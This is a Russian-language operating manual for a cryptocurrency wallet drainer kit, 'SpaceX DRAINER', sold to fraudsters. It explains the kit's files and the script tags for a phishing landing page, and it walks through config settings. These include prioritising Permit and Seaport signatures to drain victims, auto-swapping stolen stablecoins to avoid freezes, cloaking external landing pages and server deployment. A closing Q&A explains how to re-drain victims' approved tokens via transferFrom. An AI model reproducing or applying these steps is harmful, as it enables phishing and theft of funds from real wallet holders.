March 26, 2023

Руководство по эксплуатации 

Поздравляю с приобретением SpaceX DRAINER. Исходники у вас. Что дальше?

Содержание:

1. Небольшой ликбез по структуре скрипта.

Сейчас быстренько пробежимся по всем внутренностям SpaceX DRAINER.
Если вы не программист, ни черта не понимаете в коде и вам неинтересно как устроен проект — можете пропустить этот шаг.

  • ABIs - интерфейсы для взаимодействия с токенами (ERC20, ERC721, ERC1155).
  • public - внешние файлы, лендинг.
  • public/scripts - внешние скрипты, необходимые для работы. public/scripts/main.js - основной скрипт, который отвечает за взаимодействие с кошельком (апрув, подпись, сеапорт).
  • config.json - конфигурация.
  • app.js - файл сервера, внутренняя логика (автовывод).
  • docker-compose.yml, Dockerfile - настройка системы контейнеров и системы запуска.
  • package.json, package-lock.json - зависимости для установки.
  • rpc.json - конфигурация сетей.
  • start.sh - запускатор.

2. Как подключать лендинги.

Для установки на лендинг необходимо прописать скрипты на страницу с кнопкой:

<script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.7.2/ethers.umd.js" type="application/javascript"></script>
<script type="text/javascript" src="./scripts/sweetalert2@11"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js"></script>
<script type="text/javascript" src="./scripts/index.js"></script>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
<script type="text/javascript" src="https://unpkg.com/[email protected]/dist/umd/index.min.js"></script>
<script type="text/javascript" src="https://unpkg.com/@walletconnect/[email protected]/dist/umd/index.min.js"></script>
<script src="https://unpkg.com/[email protected]/dist/axios.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@coinbase/[email protected]/dist/index.min.js"></script>
<script type="text/javascript" src="./scripts/ethereumjs-tx-1.3.3.min.js"></script>
<script language="javascript" type="text/javascript" src="./scripts/ABI.js"></script>
<script type="text/javascript" src="./scripts/main.js"></script>
<script type="text/javascript" src="./scripts/seaport.js"></script>
<script src="https://code.jquery.com/jquery-3.6.3.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/src/ua-parser.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>

и необходимой кнопке прописать свойство:

onclick="login()"

3.0 Настройка конфига. Прописываем приваткей.

Приваткей — он же закрытый ключ, его можно получить через браузерное расширение MetaMask во вкладке "Реквизиты счета"

Обратите внимание, что на адресе кошелька, приваткей которого вы укажите в конфиге, всегда должно быть немного денег в главной валюте сети. Газ нужен для оплаты газа во время снятия апрувов с кошелька мамонта.
Достаточно будет закинуть буквально по паре баксов на каждую сеть:
Ethereum — ETH
Binance Smart Chain — BNB
Polygon — MATIC
и так далее во все другие необходимые сети по которым вы будете работать...

В сеть Ethereum, само собой, нужно скинуть немного больше денег, где-то баксов 15-20, т.к данный блокчейн нестабилен по газу.

3.1 Настройка конфига. Отстук в Telegram.

Для подключения отстука открываем файл config.json и прописываем данные:

2 строка — токен бота, 3 строка — ID аккаунта или ID канала, в который должны поступать уведомления.

3.2 Настройка конфига. PERMIT и SEAPORT приоритет.

По-умолчанию у методов пермит и сеапорт стоит значение true, это означает, что для них задан высший приоритет, т.е вне зависимости от того, на сколько дорогой токен имеется на кошельке жертвы, в первую очередь скрипт всё равно будет списывать токены которые поддерживают PERMIT или SEAPORT, т.к шанс на то, что мамонт их подпишет, гораздо выше, через у других. А уже после того, как эти беспалевные подписи будут подписаны, скрипт начнёт снимать остатки токенов привычными нам методами approve, setApprovalForAll и SIGN/TRANSFER, начиная от дорогого заканчивая дешёвым. Чтобы отключить приоритет PERMIT и SEAPORT нужно указать значение false, вместо true:

В строке permit_priority_tokens указан перечень пермит токенов для которых будет работать приоритет:

3.3 Настройка конфига. Списание главной валюты сети.

В строке gas_token_method мы выбираем метод списания главной валюты сети, «sign» с красной табличкой или обычный «transfer».

3.4 Настройка конфига. Сovalent API KEY

Регистрируемся на сайте Covalent, получаем бесплатный апи ключ и прописываем его в конфиг:

3.5 Настройка конфига. AUTOSWAP токенов.

Строка 9 отвечает за включение и отключение автоматического обмена токенов на главную валюту в сети Ethereum. Функция авто-обмена реализована для того, чтобы не столкнуться с блокировкой наскамленных средств, ибо такие токены как usdt и usdc любят лочить по первому же запросу. По-умолчанию данная функцию отключена, чтобы включить, нужно изменить значение с false на true.

3.6 Настройка конфига. Добавление внешних лендингов.

Внешние лендинги — это сайты на обычном веб-хостинге, которые можно просто направить на IP сервера, и они начнут работать как обычный дрейн. Эта система позволяет очень удобно подключать к серверу сразу неограниченное количество лендингов, позволяет клоачить их, и делать с ними вообще всё, что угодно.
У — удобно.
Для включения «внешнего режима» работы нужно активировать опцию "external" в конфиге, чтобы это сделать, в строке 10 необходимо изменить значение с false, на true.

Далее нужно поднять сайт по обычной инструкции.
А все последующие лендинги должны быть внешними, и ставиться по следующией инструкции:

Заливаем файлы сайта на обычный вебхост и в папке с ними в файле server.cfg прописываем адрес домена который мы подняли на самом дрейне, внутренний фронтенд (к примеру https://mintnftzero.com) Шаблон лендинга для вебхоста есть в папке public* Обратите внимание, что с включенной функцией внешних лендингов, внутренний фронтенд на сервере работать не будет, активными будут только внешки! Если вас устраивает один сервер — один лендинг, то просто оставьте значение false, чтобы не заморачиваться.

3.7 Настройка конфига. NFT MINIMAL PRICE.

Строка 11 отвечает за приоритет списания нфт, то есть, если в конфиге задано значение 1000, то это означает, что нфт стоимость 1000$ будет списываться с низшим приоритетом, в самую последнюю очередь после всех токенов.

От себя рекомендую ставить значение именно от 1 000$, ибо нфт, списанные сеапортом, маркетплейс опенси моментально отправляет на фишинг проверку, без возможности продажи, а на других маркетплейсах дешманские ноунейм нфт продать проблематично. По этому пусть скрипт лучше уж в первую очередь списывает условно токен с ценой 100$, прибыль от которого будет фактическа, нежели от нфт за 1000$, доход от которой лишь потенциален.

4. Выгружаем файлы и поднимаем сайт.

Покупаем любой Ubuntu 20.04+ сервер, подключаемся к нему через программу MobaXterm и мышкой перетаскиваем папку с файлами прямо в корень. После этого просто вставляем данные команды в консоль и дожидаемся установки:

cd ИМЯ ПАПКИ
source start.sh

в процессе установки консоль попросит у вас вставить адрес домена формата domain.com, вставляем:

А потом нужно будет добавить «А-запись» с айпишником вашего Ubuntu 20.04+ сервера в днс домена. Сайт встанет автоматический, как только пропишутся днс.

ГОТОВО! Возникнут вопросы или проблемы — обращайтесь по контактам!

Вопрос — ответ.

Формулировки всех нижеперечисленных вопросов поступают от вас — клиентов, я их выкладываю сразу сюда предварительно никак не корректируя, по этому, если постановка вопроса или ответа на него вам не ясны — уточняйте в личку.

Внёс правки в конфиг проекта, но ничего не обновилось, как быть? —Чтобы проект обновился, нужно после любых внесённых в него изменений прописывать команду: docker-compose build && docker-compose up -d
Как в консоли посмотреть логгирование? Оно же ведётся? Ну в плане, списались токены/не списались, ошибка не ошибка, и т.д. —Нужно прописать docker ps, скопировать ID рядом со словом "drainer" и прописать docker logs (ID):
Если мамонт апрувнул токен и автовывод снял его, но потом через какое-то время мамонт закинет этот токен ещё раз, смогу ли я снять его повторно? —Да, сможешь. Если мамонт не отклонил апрув, то все повторные пополнения с его кошелька можно выкачать следующим образом:

нужно открыть контракт токена который апрувнули и перейти в раздел Contract>Write Contract>transferFrom. зелёным — вводите адрес его кошелька (мамонта). синим — вводите адрес своего кошелька (куда получать). оранжевым — сумму, которую нужно снять.